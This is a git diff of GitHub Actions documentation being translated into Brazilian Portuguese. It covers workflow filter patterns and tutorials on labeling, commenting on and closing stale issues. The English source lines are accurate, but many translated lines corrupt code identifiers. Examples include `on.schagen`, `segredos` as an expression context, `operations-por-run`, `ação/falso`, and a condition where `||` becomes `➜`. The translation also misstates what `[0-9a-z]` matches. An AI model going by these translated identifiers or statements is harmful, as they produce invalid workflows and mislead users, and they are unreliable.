+Qualquer segredo que você passar deve corresponder aos nomes definidos no fluxo de trabalho chamado.
 
-### Example
+### Exemplo
 
 {% raw %}
 ```yaml
@@ -1515,66 +1515,66 @@ jobs:
 
 ## `jobs.<job_id>.secrets.<secret_id>`
 
-A pair consisting of a string identifier for the secret and the value of the secret. The identifier must match the name of a secret defined by [`on.workflow_call.secrets.<secret_id>`](#onworkflow_callsecretssecret_id) in the called workflow.
+Um par composto por um identificador string para o segredo e o valor do segredo. O identificador deve corresponder ao nome de um segredo definido por [`on.workflow_call.secrets.<secret_id>`](#onworkflow_callsecretssecret_id) no fluxo de trabalho chamado.
 
-Allowed expression contexts: `github`, `needs`, and `secrets`.
+Contextos de expressão permitidos: `github`, `needs` e `segredos`.
 {% endif %}
 
-## Filter pattern cheat sheet
+## Folha de consulta de filtro padrão
 
-You can use special characters in path, branch, and tag filters.
+Você pode usar caracteres especiais nos filtros de caminhos, branches e tags.
 
-- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`.
-- `**`: Matches zero or more of any character.
-- `?`: Matches zero or one of the preceding character.
-- `+`: Matches one or more of the preceding character.
-- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`.
-- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character.
+- `*`: Corresponde a zero ou mais caracteres, mas não Corresponde ao caractere `/`. Por exemplo, `Octo*` corresponde a `Octocat`.
+- `**`: Corresponde a zero ou mais de qualquer caractere.
+- `?`: Corresponde a zero ou a um dos caracteres anteriores.
+- `+`: Corresponde a um ou mais dos caracteres anteriores.
+- `[]` Corresponde a um caractere listado entre colchetes ou incluído nos intervalos. Os intervalos só podem incluir valores de `a-z`, `A-Z`, e `0-9`. Por exemplo, o intervalo`[0-9a-z]` corresponde a qualquer letra maiúscula ou minúscula. Por exemplo, `[CB]at` corresponde a `Cat` ou `Bat` e `[1-2]00` corresponde a `100` e `200`.
+- `!` No início de um padrão faz com que ele anule padrões positivos anteriores. Não tem nenhum significado especial caso não seja o primeiro caractere.
 
-The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes.
+Os caracteres `*`, `[` e `!` são caracteres especiais em YAML. Se você iniciar um padrão com `*`, `[` ou `!`, você deverá colocá-lo entre aspas.
 
 ```yaml
-# Valid
+# Válido
 - '**/README.md'
 
-# Invalid - creates a parse error that
-# prevents your workflow from running.
+# Inválido - Cria um erro de análise que
+# impede que o seu fluxo de trabalho seja executado.
 - **/README.md
 ```
 
-For more information about branch, tag, and path filter syntax, see "[`on.<push|pull_request>.<branches|tags>`](#onpushpull_requestbranchestags)" and "[`on.<push|pull_request>.paths`](#onpushpull_requestpaths)."
+Para obter mais informações sobre a sintaxe de filtros de branches, tags e caminhos, consulte "[`on.<push|pull_request>.<branches|tags>`](#onpushpull_requestbranchestags)" e "[`on.<push|pull_request>.paths`](#onpushpull_requestpaths)".
 
-### Patterns to match branches and tags
+### Padrões para corresponder branches e tags
 
-| Pattern | Description | Example matches |
-|---------|------------------------|---------|
-| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). |  `feature/my-branch`<br/><br/>`feature/your-branch` |
-| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
-| `main`<br/><br/>`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`<br/><br/>`releases/mona-the-octocat` |
-| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`<br/><br/>`releases` |
-| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`<br/><br/>`every/tag` |
-| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` |
-| `v2*` | Matches branch and tag names that start with `v2`. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` |
-| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2 | `v1.10.1`<br/><br/>`v2.0.0` |
+| Padrão                                                  | Descrição                                                                                                                                                                           | Exemplos de correspondências                                                                                          |
+| ------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
+| `feature/*`                                             | O caractere curinga `*` corresponde a qualquer caractere, mas não à barra (`/`).                                                                                                    | `feature/my-branch`<br/><br/>`feature/your-branch`                                                        |
+| `feature/**`                                            | `**` correspondem a qualquer caractere, incluindo a barra (`/`) em nomes de branches e tags.                                                                                        | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
+| `main`<br/><br/>`releases/mona-the-octocat` | Corresponde ao nome exato de um branch ou tag.                                                                                                                                      | `main`<br/><br/>`releases/mona-the-octocat`                                                               |
+| `'*'`                                                   | Corresponde a todos os nomes de branches e tags que não contêm uma barra (`/`). O caractere `*` é um caractere especial em YAML. Ao inciar um padrão com `*`, você deve usar aspas. | `main`<br/><br/>`releases`                                                                                |
+| `'**'`                                                  | Corresponde a todos os nomes de branches e tags. Esse é o comportamento padrão quando você não usa um filtro de `branches` ou `tags`.                                               | `all/the/branches`<br/><br/>`every/tag`                                                                   |
+| `'*feature'`                                            | O caractere `*` é um caractere especial em YAML. Ao inciar um padrão com `*`, você deve usar aspas.                                                                                 | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature`                                   |
+| `v2*`                                                   | Corresponde aos nomes de branches e tags que iniciam com `v2`.                                                                                                                      | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9`                                                          |
+| `v[12].[0-9]+.[0-9]+`                                   | Corresponde a todas as tags de versão de branch semântica com a versão principal 1 ou 2                                                                                             | `v1.10.1`<br/><br/>`v2.0.0`                                                                               |
 
-### Patterns to match file paths
+### Padrões para corresponder a caminhos de arquivos
 
-Path patterns must match the whole path, and start from the repository's root.
+Padrões de caminhos devem corresponder ao caminho completo e iniciar a partir da raiz do repositório.
 
-| Pattern | Description of matches | Example matches |
-|---------|------------------------|-----------------|
-| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`<br/><br/>`server.rb` |
-| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`<br/><br/>`page.jsx` |
-| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` |
-| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`<br/><br/>`index.js`
-| `'**.js'` | Matches all `.js` files in the repository. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` |
-| `docs/*`  | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`<br/><br/>`docs/file.txt` |
-| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` |
-| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`
-| `'**/docs/**'`   | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`
-| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`<br/><br/>`js/README.md`
-| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`
-| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`<br/><br/>`path/their-post.md` |
-| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` |
-| `*.md`<br/><br/>`!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
-| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`|
+| Padrão                                                                  | Descrição das correspondências                                                                                                                                                                                         | Exemplos de correspondências                                                                                             |
+| ----------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
+| `'*'`                                                                   | O caractere curinga `*` corresponde a qualquer caractere, mas não à barra (`/`). O caractere `*` é um caractere especial em YAML. Ao inciar um padrão com `*`, você deve usar aspas.                                   | `README.md`<br/><br/>`server.rb`                                                                             |
+| `'*.jsx?'`                                                              | O caractere `?` corresponde a zero ou a um dos caracteres anteriores.                                                                                                                                                  | `page.js`<br/><br/>`page.jsx`                                                                                |
+| `'**'`                                                                  | `**` corresponde a qualquer caractere incluindo a barra (`/`). Esse é o comportamento padrão quando você não usa um filtro de `path`.                                                                                  | `all/the/files.md`                                                                                                       |
+| `'*.js'`                                                                | O caractere curinga `*` corresponde a qualquer caractere, mas não à barra (`/`). Corresponde a todos os arquivos `.js` na raiz do repositório.                                                                         | `app.js`<br/><br/>`index.js`                                                                                 |
+| `'**.js'`                                                               | Corresponde a todos os arquivos `.js` no repositório.                                                                                                                                                                  | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js`                                       |
+| `docs/*`                                                                | Todos os arquivos dentro da raiz do diretório `docs`, na raiz do repositório.                                                                                                                                          | `docs/README.md`<br/><br/>`docs/file.txt`                                                                    |
+| `docs/**`                                                               | Qualquer arquivo no diretório `docs`, na raiz do repositório.                                                                                                                                                          | `docs/README.md`<br/><br/>`docs/mona/octocat.txt`                                                            |
+| `docs/**/*.md`                                                          | Um arquivo com um sufixo `.md` em qualquer local do diretório `docs`.                                                                                                                                                  | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`          |
+| `'**/docs/**'`                                                          | Qualquer arquivo no diretório `docs`, em qualquer local do repositório.                                                                                                                                                | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`             |
+| `'**/README.md'`                                                        | Um arquivo README.md em qualquer local do repositório.                                                                                                                                                                 | `README.md`<br/><br/>`js/README.md`                                                                          |
+| `'**/*src/**'`                                                          | Qualquer arquivo em uma pasta com o sufixo `src` em qualquer local do repositório.                                                                                                                                     | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`                                                              |
+| `'**/*-post.md'`                                                        | Um arquivo com o sufixo `-post.md` em qualquer local do repositório.                                                                                                                                                   | `my-post.md`<br/><br/>`path/their-post.md`                                                                   |
+| `'**/migrate-*.sql'`                                                    | Um arquivo com o prefixo `migrate-` e sufixo `.sql` em qualquer local do repositório.                                                                                                                                  | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql`             |
+| `*.md`<br/><br/>`!README.md`                                | Usar um sinal de exclamação (`!`) na frente de um padrão o anula. Quando um arquivo corresponde a um padrão e também corresponde a um padrão negativo definido posteriormente no arquivo, o arquivo não será incluído. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
+| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Os padrões são verificados sequencialmente. Um padrão que anula um padrão anterior irá incluir caminhos de arquivos novamente.                                                                                         | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`                                            |
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
index 20a2edd4b6..85d2f0dd95 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Adding labels to issues
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically label issues.'
+title: Adicionando etiquetas a problemas
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para etiquetar problemas automaticamente.'
 redirect_from:
   - /actions/guides/adding-labels-to-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) in a workflow to label newly opened or reopened issues. For example, you can add the `triage` label every time an issue is opened or reopened. Then, you can see all issues that need to be triaged by filtering for issues with the `triage` label.
+Este tutorial demonstra como usar a ação [`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler) em um fluxo de trabalho para etiquetar problemas recém-abertos ou reabertos. Por exemplo, você pode adicionar a etiqueta `triagem` toda vez que um problema for aberto ou reaberto. Em seguida, você poderá ver todos os problemas que devem ser triados, filtrando por problemas com a etiqueta `triagem`.
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+No tutorial, primeiro você criará um arquivo de fluxo de trabalho que usa a ação [`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). Então, você personalizará o fluxo de trabalho para atender às suas necessidades.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copie o seguinte conteúdo YAML para o arquivo do fluxo de trabalho.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -51,22 +51,22 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `add-labels` to the list of labels that you want to add to the issue. Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information about labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+4. Personalize os parâmetros no seu arquivo do fluxo de trabalho:
+   - Altere o valor de `add-labels` para a lista de etiquetas que você deseja adicionar ao problema. Separe etiquetas múltiplas com vírgulas. Por exemplo, `"help wanted, good first issue"`. Para obter mais informações sobre etiquetas, consulte "[Gerenciar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Testar o fluxo de trabalho
 
-Every time an issue in your repository is opened or reopened, this workflow will add the labels that you specified to the issue.
+Toda vez que um problema no seu repositório for aberto ou reaberto, esse fluxo de trabalho adicionará as etiquetas que você especificou ao problema.
 
-Test out your workflow by creating an issue in your repository.
+Teste o seu fluxo de trabalho criando um problema no seu repositório.
 
-1. Create an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. To see the workflow run that was triggered by creating the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-3. When the workflow completes, the issue that you created should have the specified labels added.
+1. Crie um problema no seu repositório. Para obter mais informações, consulte "[Criar um problema](/github/managing-your-work-on-github/creating-an-issue)".
+2. Para ver a execução do fluxo de trabalho que foi acionada criando o problema, veja o histórico de execuções do seu fluxo de trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+3. Quando o fluxo de trabalho é concluído, o problema que você criou deve ter as etiquetas especificadas adicionadas.
 
-## Next steps
+## Próximas etapas
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like removing labels or skipping this action if the issue is assigned or has a specific label, see the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- To learn more about different events that can trigger your workflow, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#issues)." The `andymckay/labeler` action only works on `issues`, `pull_request`, or `project_card` events.
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- Para saber mais sobre coisas adicionais você pode fazer com a ação `andymckay/labeler`, como remover etiquetas ou ignorar esta ação se o problema for atribuído ou tiver uma etiqueta específica, veja a documentação da ação [`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler).
+- Para saber mais sobre diferentes eventos que podem acionar o seu fluxo de trabalho, consulte "[Eventos que desencadeiam fluxos de trabalho](/actions/reference/events-that-trigger-workflows#issues)". A ação `andymckay/labeler` só funciona em eventos `issues`, `pull_request` ou `project_card`.
+- [Pesquise no GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) exemplos de fluxos de trabalho que usam esta ação.
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
index fe86fe79e4..50bb3dc101 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Closing inactive issues
-intro: 'You can use {% data variables.product.prodname_actions %} to comment on or close issues that have been inactive for a certain period of time.'
+title: Fechar problemas inativos
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para comentar ou fechar problemas que ficaram inativos por um determinado período de tempo.'
 redirect_from:
   - /actions/guides/closing-inactive-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This tutorial demonstrates how to use the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues) to comment on and close issues that have been inactive for a certain period of time. For example, you can comment if an issue has been inactive for 30 days to prompt participants to take action. Then, if no additional activity occurs after 14 days, you can close the issue.
+Este tutorial demonstra como usar a ação [`actions/stale`](https://github.com/marketplace/actions/close-stale-issues) para comentar e fechar problemas que ficaram inativos por um determinado período de tempo. Por exemplo, você pode comentar se um problema está inativo por 30 dias para incentivar os participantes a agir. Em seguida, se nenhuma atividade adicional ocorrer após 14 dias, você poderá fechar o problema.
 
-In the tutorial, you will first make a workflow file that uses the [`actions/stale` action](https://github.com/marketplace/actions/close-stale-issues). Then, you will customize the workflow to suit your needs.
+No tutorial, primeiro você vai fazer um arquivo de fluxo de trabalho que usa a ação [`actions/stale`](https://github.com/marketplace/actions/close-stale-issues). Então, você personalizará o fluxo de trabalho para atender às suas necessidades.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copie o seguinte conteúdo YAML para o arquivo do fluxo de trabalho.
 
     ```yaml{:copy}
     name: Close inactive issues
@@ -54,26 +54,26 @@ In the tutorial, you will first make a workflow file that uses the [`actions/sta
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every day at 1:30 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `days-before-issue-stale` to the number of days without activity before the `actions/stale` action labels an issue. If you never want this action to label issues, set this value to `-1`.
-   - Change the value for `days-before-issue-close` to the number of days without activity before the `actions/stale` action closes an issue. If you never want this action to close issues, set this value to `-1`.
-   - Change the value for `stale-issue-label` to the label that you want to apply to issues that have been inactive for the amount of time specified by `days-before-issue-stale`.
-   - Change the value for `stale-issue-message` to the comment that you want to add to issues that are labeled by the `actions/stale` action.
-   - Change the value for `close-issue-message` to the comment that you want to add to issues that are closed by the `actions/stale` action.
+4. Personalize os parâmetros no seu arquivo do fluxo de trabalho:
+   - Altere o valor de `on.schagen` para ditar quando você deseja que este fluxo de trabalho seja executado. No exemplo acima, o fluxo de trabalho será executado todos os dias à 1:30 UTC. Para obter mais informações sobre fluxos de trabalho agendados, consulte "[Eventos agendados](/actions/reference/events-that-trigger-workflows#scheduled-events)".
+   - Altere o valor de `days-before-issue-stale` para o número de dias sem atividade antes da ação `actions/stale` etiquetar um problema. Se você nunca quiser que esta ação etiquete problemas, defina esse valor como `-1`.
+   - Altere o valor de `days-before-issue-close` para o número de dias sem atividade antes que a ação `actions/stale` feche um problema. Se você nunca quiser que esta ação feche problemas, defina esse valor como `-1`.
+   - Altere o valor para `stale-issue-label` para a etiqueta que você deseja aplicar aos problemas inativos por um período de tempo especificado por `days-before-issue-stale`.
+   - Altere o valor para `stale-issue-message` para o comentário que deseja adicionar aos problemas etiquetados pela ação `actions/stale`.
+   - Altere o valor de `close-issue-message` para o comentário que você deseja adicionar aos problemas fechados pela ação `actions/stale`.
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## Resultados esperados
 
-Based on the `schedule` parameter (for example, every day at 1:30 UTC), your workflow will find issues that have been inactive for the specified period of time and will add the specified comment and label. Additionally, your workflow will close any previously labeled issues if no additional activity has occurred for the specified period of time.
+Baseado no parâmetro `agendar` (por exemplo, todos os dias à 1:30 UTC), seu fluxo de trabalho encontrará problemas que ficaram inativos durante o período de tempo especificado e adicionarão o comentário e a etiqueta especificados. Além disso, o seu fluxo de trabalho fechará quaisquer problemas etiquetados anteriormente se nenhuma atividade adicional tiver ocorrido pelo período de tempo especificado.
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+Você pode visualizar o histórico de execução do fluxo de trabalho para ver a execução deste fluxo de trabalho periodicamente. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
 
-This workflow will only label and/or close 30 issues at a time in order to avoid exceeding a rate limit. You can configure this with the `operations-per-run` setting. For more information, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
+Este fluxo de trabalho só irá etiquetar e/ou fechar 30 problemas de cada vez para evitar exceder um limite de taxa. Você pode definir isso com a configuração de `operations-por-run`. Para obter mais informações, consulte a documentação da ação [`ação/estale`](https://github.com/marketplace/actions/close-stale-issues).
 
-## Next steps
+## Próximas etapas
 
-- To learn more about additional things you can do with the `actions/stale` action, like closing inactive pull requests, ignoring issues with certain labels or milestones, or only checking issues with certain labels, see the [`actions/stale` action documentation](https://github.com/marketplace/actions/close-stale-issues).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) for examples of workflows using this action.
+- Para saber mais sobre outras coisas que você pode fazer com a ação `actions/stale` como, por exemplo, fechar pull requests inativos, ignorar problemas com certas etiquetas ou marcos, ou apenas verificar problemas com determinadas etiquetas, consulte [`ação/falso` documentação da ação](https://github.com/marketplace/actions/close-stale-issues).
+- [Pesquise no GitHub](https://github.com/search?q=%22uses%3A+actions%2Fstale%22&type=code) exemplos de fluxos de trabalho que usam esta ação.
diff --git a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
index 43f42b40ce..fe26a14907 100644
--- a/translations/pt-BR/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
+++ b/translations/pt-BR/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md
@@ -1,6 +1,6 @@
 ---
-title: Commenting on an issue when a label is added
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically comment on issues when a specific label is applied.'
+title: Comentar em um problema quando uma etiqueta é adicionada
+intro: 'Você pode usar {% data variables.product.prodname_actions %} para comentar automaticamente nos problema quando uma etiqueta específica é aplicada.'
 redirect_from:
   - /actions/guides/commenting-on-an-issue-when-a-label-is-added
 versions:
@@ -12,23 +12,23 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Add label to comment on issue
+shortTitle: Adicionar etiqueta ao comentário no problema
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This tutorial demonstrates how to use the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment) to comment on an issue when a specific label is applied. For example, when the `help-wanted` label is added to an issue, you can add a comment to encourage contributors to work on the issue.
+Este tutorial demonstra como usar a ação [`peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment) para comentar em um problema quando uma etiqueta específica é aplicada. Por exemplo, quando a etiqueta `help-wanted` é adicionada a um problema, você pode adicionar um comentário para incentivar os contribuidores a trabalhar no problema.
 
-In the tutorial, you will first make a workflow file that uses the [`peter-evans/create-or-update-comment` action](https://github.com/marketplace/actions/create-or-update-comment). Then, you will customize the workflow to suit your needs.
+No tutorial, primeiro você vai criar um arquivo de fluxo de trabalho que usa a ação [`peter-evans/create-or-update-comment`](https://github.com/marketplace/actions/create-or-update-comment). Então, você personalizará o fluxo de trabalho para atender às suas necessidades.
 
-## Creating the workflow
+## Criar o fluxo de trabalho
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copie o seguinte conteúdo YAML para o arquivo do fluxo de trabalho.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -50,25 +50,25 @@ In the tutorial, you will first make a workflow file that uses the [`peter-evans
             with:
               issue-number: {% raw %}${{ github.event.issue.number }}{% endraw %}
               body: |
-                This issue is available for anyone to work on. **Make sure to reference this issue in your pull request.** :sparkles: Thank you for your contribution! :sparkles:
+                This issue is available for anyone to work on. **Certifique-se de fazer referência a esse problema no seu pull request.** :sparkles: Obrigado pela sua contribuição! :sparkles:
     ```
 
-4. Customize the parameters in your workflow file:
-   - Replace `help-wanted` in `if: github.event.label.name == 'help-wanted'` with the label that you want to act on. If you want to act on more than one label, separate the conditions with `||`. For example, `if: github.event.label.name == 'bug' || github.event.label.name == 'fix me'` will comment whenever the `bug` or `fix me` labels are added to an issue.
-   - Change the value for `body` to the comment that you want to add. GitHub flavored markdown is supported. For more information about markdown, see "[Basic writing and formatting syntax](/github/writing-on-github/basic-writing-and-formatting-syntax)."
+4. Personalize os parâmetros no seu arquivo do fluxo de trabalho:
+   - Substitua `help-wanted` em `if: github.event.label.name == 'help-wanted'` pela etiqueta na qual você deseja agir. Se você desejar atuar em mais de uma etiqueta, separe as condições com `||`. Por exemplo, `if: github.event.label.name == 'bug' ➜ github.event.label. ame == 'corrija-me'` irá comentar sempre que as etiquetas `bug` ou `fix me` forem adicionadas a um problema.
+   - Altere o valor de `texto` para o comentário que você deseja adicionar. Markdown em estilo GitHub é compatível. Para obter mais informações sobre markdown, consulte "[Sintaxe básica de escrita e formatação](/github/writing-on-github/basic-writing-and-formatting-syntax)".
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Testar o fluxo de trabalho
 
-Every time an issue in your repository is labeled, this workflow will run. If the label that was added is one of the labels that you specified in your workflow file, the `peter-evans/create-or-update-comment` action will add the comment that you specified to the issue.
+Toda vez que um problema no repositório for identificado, esse fluxo de trabalho será executado. Se a etiqueta que foi adicionada for uma das etiquetas que você especificou no seu arquivo de fluxo de trabalho, a ação `peter-evans/create-or-update-comment` irá adicionar o comentário que você especificou para o problema.
 
-Test your workflow by applying your specified label to an issue.
+Teste seu fluxo de trabalho aplicando a sua etiqueta especificada a um problema.
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the specified label in your workflow file. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. To see the workflow run triggered by labeling the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-4. When the workflow completes, the issue that you labeled should have a comment added.
+1. Abra um problema no seu repositório. Para obter mais informações, consulte "[Criar um problema](/github/managing-your-work-on-github/creating-an-issue)".
+2. Etiquete o problema com a etiqueta especificada no seu arquivo de fluxo de trabalho. Para obter mais informações, consulte "[Gerenciar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
+3. Para ver a execução do fluxo de trabalho acionada etiquetando o problema, veja o histórico de execuções do seu fluxo de trabalho. Para obter mais informações, consulte "[Visualizar histórico de execução de fluxo de trabalho](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+4. Quando o fluxo de trabalho é concluído, o problema que você etiquetou deve ter um comentário adicionado.
 
-## Next steps
+## Próximas etapas
 
-- To learn more about additional things you can do with the `peter-evans/create-or-update-comment` action, like adding reactions, visit the [`peter-evans/create-or-update-comment` action documentation](https://github.com/marketplace/actions/create-or-update-comment).
